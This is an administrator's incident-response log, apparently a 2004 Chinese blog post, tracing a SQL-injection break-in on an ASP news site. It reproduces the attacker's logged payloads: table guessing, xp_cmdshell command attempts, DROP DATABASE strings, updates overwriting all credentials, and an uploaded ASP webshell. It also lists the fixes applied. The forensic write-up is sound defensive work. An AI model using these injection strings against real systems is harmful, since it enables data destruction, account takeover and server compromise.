服务器被入侵后的处理

类别:软件工程 点击:0 评论:0 推荐:

时间:中午13:30

接到实验室电话,说网站信息发布系统(旧版)用户无法登陆,察看数据库后发现所有用户名和密码均被改为 admin ,未发现其它改动。

经过分析,数据库被非法修改。因为用户名被设为主键,正常情况下不会重复。

 

时间:下午15:30

到实验室察看服务器。服务器系统为 win2003 + IIS6.0,系统是ASP编写的,数据库为 SQL-Server 2000。

用备份恢复用户表。

察看系统安全日志,发现以下记录:

2004-09-08 03:32:20 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20admin)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]对象名_'admin'_无效。 80 - 211.157.253.134 500

系统存在SQL注入漏洞!入侵在猜用户表,查找所有211.157.253.134的操作记录,原来才了好多次,并且猜中了:

2004-09-08 03:32:31 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20user)|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在关键字_'user'_附近有语法错误。 80 - 211.157.253.134 500

下面要开始做动作了吧,继续看

2004-09-08 03:33:58 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20news)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]对象名_'news'_无效。 80 - 211.157.253.134 500

又猜了几次信息表,还好表名比较特别,最终没猜出来。

2004-09-08 03:36:01 GET /news/showmsg.asp id=1190;exec%20xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存储过程_'xp_cmdshell'。 80 - 211.157.253.134 500

id=1190;exec%20dbo.master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能在_sysdatabases_中找到数据库_'dbo'_所对应的条目。没有找到具有该名称的条目。请确保正确地输入了名称。 80 - 211.157.253.134 500

2004-09-08 03:37:33 GET /news/showmsg.asp id=1190;exec%20master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存储过程_'master.xp_cmdshell'。 80 - 211.157.253.134 500

还好数据库经过一些处理,一些扩展存储过程之类已经删除。
又猜了几次信息表,没猜出来,终于开始动手了:

2004-09-08 03:38:55 GET /news/showmsg.asp id=1190;select%20*%20from%20[user]; 80 - 211.157.253.134 200

2004-09-08 03:47:31 GET /news/showmsg.asp id=1190%20and%20drop%20databases%20t***s|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在关键字_'drop'_附近有语法错误。 80 - 211.157.253.134 500

猜到数据库名,还要删除数据库,阴险!

2004-09-08 03:47:46 GET /news/showmsg.asp id=1190%20;%20drop%20database%20trans;--|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法除去_数据库_'t***s',因为它当前正在使用。 80 - 211.157.253.134 500

使用中,无法删除。。。

2004-09-08 03:50:33 GET /news/showmsg.asp id=1190%20;drop%20database%20master;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法_除去_数据库_'master',因为它是系统_数据库。 80 - 211.157.253.134 500

靠,什么都想删

2004-09-08 03:56:18 GET /news/showmsg.asp id=1190%20;insert%20into%20[user](username,[password])%20values('123123','123123'); 80 - 211.157.253.134 200

要强行建立一个用户

2004-09-08 03:57:36 GET /news/showmsg.asp id=1190%20;delete%20from%20[user]%20where%20username='123123';|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]第_1_行:_';'_附近有语法错误。 80 - 211.157.253.134 500

要删除这个用户,什么意思,没用上吗?继续看:

2004-09-08 03:58:12 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin',password='admin'%20where%20id=1;|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]列名_'id'_无效。 80 - 211.157.253.134 500

要改管理员密码,还好列名不对

2004-09-08 03:58:43 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin'; 80 - 211.157.253.134 200

2004-09-08 03:58:55 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20[password]='admin'; 80 - 211.157.253.134 200

原来如此,这里把所有用户名、密码改了

2004-09-08 03:59:07 GET /news/MSG_list.asp - 80 - 211.157.253.134 200

已经登录管理界面了,可以为所欲为了,不过倒是还比较有道德,没有再改动数据库的内容。

2004-09-08 04:01:56 GET /news/showmsg.asp id=1190%20;drop%20database%20eaie;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法_除去_数据库_'eaie',因为它在系统目录中不存在。 80 - 211.157.253.134 500

eaie???

2004-09-08 04:10:22 POST /news/saveupfile.asp - 80 - 211.157.253.134 200

应该上传了什么,看看:

2004-09-08 04:11:12 GET /news/upfile/200498121011admin1.asp - 80 - 211.157.253.134 200

上传了*.asp文件,以admin用户登录,并且执行了。

2004-09-08 04:49:15 GET /news/upfile/200498121011admin1.asp path=C:/Documents%20and%20Settings&oldpath=C:&attrib=true 80 - 211.157.253.134 200

执行了很多类似操作,估计是木马。

日志分析完毕。

 

时间:下午17:00

先看看上传了个什么文件,打开,有一行说明了一切:

<title>::::海阳顶端网ASP木马@2005α版::::</title>

原来如此,靠

再在IIS下察看上传文件夹权限,竟然允许执行纯脚本。关!

 

时间:下午17:10

查看信息发布系统数据库连接文件,竟然用sa登录。

重新添加两个用户,信息显示的用户类型设为datareader,不可操作用户表

 

时间:下午17:30

查看信息发布系统源代码,SQL注入过滤对表单提交都作了,但字符串却没有相应限制。

修改源代码,进行严格过滤。

 

时间:下午18:00

修改完毕。

 

 

总结:由于系统设计和服务器管理没有协调好,数据库出现漏洞;文件夹权限设置出现漏洞;上传文件也没有做类型限制,这些导致了网站被注入。
经过补救,安全性有所提高。但要完全杜绝入侵还有距离。

本文地址:http://com.8s8s.com/it/it34234.htm